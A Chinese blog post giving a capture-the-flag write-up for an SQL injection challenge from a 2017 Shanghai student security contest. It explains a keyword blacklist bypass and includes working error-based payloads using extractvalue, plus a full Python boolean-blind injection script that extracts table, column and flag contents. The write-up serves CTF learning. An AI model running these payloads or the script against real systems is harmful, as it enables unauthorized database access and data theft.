C1imber's Blog

第三届上海市大学生网络安全大赛注入题writeup

字数统计: 977阅读时长: 5 min
2017/11/05 Share

题目:Some Words

事先不知道有这个比赛,同学在群里发的链接,正好是自己感兴趣的注入,抱着学习的心态借同学的号做了一下

进入题目链接,很明显是道注入题,先fuzz了一下,大致过滤了部分关键字如下:

',and,union,where,=,updatexml,rand,group_concat等

一看就是黑名单过滤,虽然过滤了很多关键字,但是很容易绕过,在这我说两种注入方法:

报错注入

虽然过滤了updatexml,rand等报错注入关键字,但是没有过extractvalue
,过滤了and,可以用or代替,过滤了=可以用like代替,所以可以构造payload:

?id=1 or extractvalue(1,concat(0x3a,database(),0x3a))--+,

用extractvalue函数的特性报错爆出当前数据库名为words,该报错原理是因为extractvalue函数的第二个参数必须为XPATH格式的,但是concat连接函数返回的是字符串,格式不符合,所以报错并显示出该字符串的内容,接下来构造payload:

?id=1 or extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema like database() limit 0,1),0x3a))--+

爆出words数据库下的第一个表名为f14g,用双引号代替单引号继续构造payload:

?id=1 or extractvalue(1,concat(0x3a,(select column_name from information_schema.columns where table_name like "f14g" limit 0,1),0x3a))--+

爆出f14g表下存在一个名为f14g的列名,于是构造payload:

?id=1 or extractvalue(1,concat(0x3a,(select f14g from f14g),0x3a))--+

发现这个payload是不完整的,显示的是前31个字节,我们查一下长度:

?id=1 or extractvalue(1,concat(0x3a,(select length(f14g) from f14g),0x3a))--+

结果为42

构造

?id=1 or extractvalue(1,concat(0x3a,(select substr(f14g,1,31) from f14g),0x3a))--+

?id=1 or extractvalue(1,concat(0x3a,(select substr(f14g,32,42) from f14g),0x3a))--+

读取完整f14g:flag{93303476-a738-441b-9800-90719f16eb85}

注:f14g是随机生成的,每一次做题f14g都不一样

bool盲注

过滤了and,我们可以用or(或)或者是^(位异或)进行逻辑判断,贴出我用python写的盲注脚本,代码写得很烂,求大佬们不要喷:

import requests
def gettablelen(url):
    i=1
    while 1:
        payload=url+"?id=-1 or (select length(table_name) from information_schema.tables where table_schema like database() limit 0,1) like %d--+"%(i)
        html=requests.get(url=payload).content
        if html.find("Hello Hacker!!")!=-1:
            print "table length:%d"%(i)
            break
        else:
            i=i+1
    return i
def gettable(url,len):
    table=""
    for i in range(1,len+1):
        for j in range(255):
            payload=url+"?id=-1 or ascii(substr((select table_name from information_schema.tables where table_schema like database() limit 0,1),%d,1)) like %d--+"%(i,j)
            html=requests.get(url=payload).content
            if html.find("Hello Hacker!!")!=-1:
                print chr(j)
                table=table+chr(j)
                break
    return table
def getcolumnlen(url,table):
    i=1
    while 1:
        payload=url+'?id=-1 or (select length(column_name) from information_schema.columns where table_name like "%s" limit 0,1) like %d--+'%(table,i)
        html=requests.get(url=payload).content
        if html.find("Hello Hacker!!")!=-1:
            print "column length:%d"%(i)
            break
        else:
            i=i+1
    return i
def getcolumn(url,len,table):
    column=""
    for i in range(1,len+1):
        for j in range(255):
            payload=url+'?id=-1 or ascii(substr((select column_name from information_schema.columns where table_name like "%s" limit 0,1),%d,1)) like %d--+'%(table,i,j)
            html=requests.get(url=payload).content
            if html.find("Hello Hacker!!")!=-1:
                print chr(j)
                column=column+chr(j)
                break
    return column
def getflaglen(url,table,column):
    i=1
    while 1:
        payload=url+'?id=-1 or (select length(%s) from %s limit 0,1) like %d--+'%(column,table,i)
        html=requests.get(url=payload).content
        if html.find("Hello Hacker!!")!=-1:
            print "flag length:%d"%(i)
            break
        else:
            i=i+1
    return i
def getflag(url,table,column,len):
    flag=""
    for i in range(1,len+1):
        for j in range(255):
            payload=url+'?id=-1 or ascii(substr((select %s from %s limit 0,1),%d,1)) like %d--+'%(column,table,i,j)
            html=requests.get(url=payload).content
            if html.find("Hello Hacker!!")!=-1:
                print chr(j)
                flag=flag+chr(j)
                break
    return flag
def main():
    url="http://cdb627a8a4974a5f92615994c9e6199abda58b73f6364df1.game.ichunqiu.com/index.php"
    tlen=gettablelen(url)
    table=gettable(url,tlen)
    print table
    clen=getcolumnlen(url,table)
    column=getcolumn(url,clen,table)
    print "%s column is %s"%(table,column)
    flen=getflaglen(url,table,column)
    print "flag len:%d"%(flen)
    flag=getflag(url,table,column,flen)
    print flag
if __name__=='__main__':
    main()
CATALOG
  1. 1. 题目:Some Words
    1. 1.0.1. 报错注入
    2. 1.0.2. bool盲注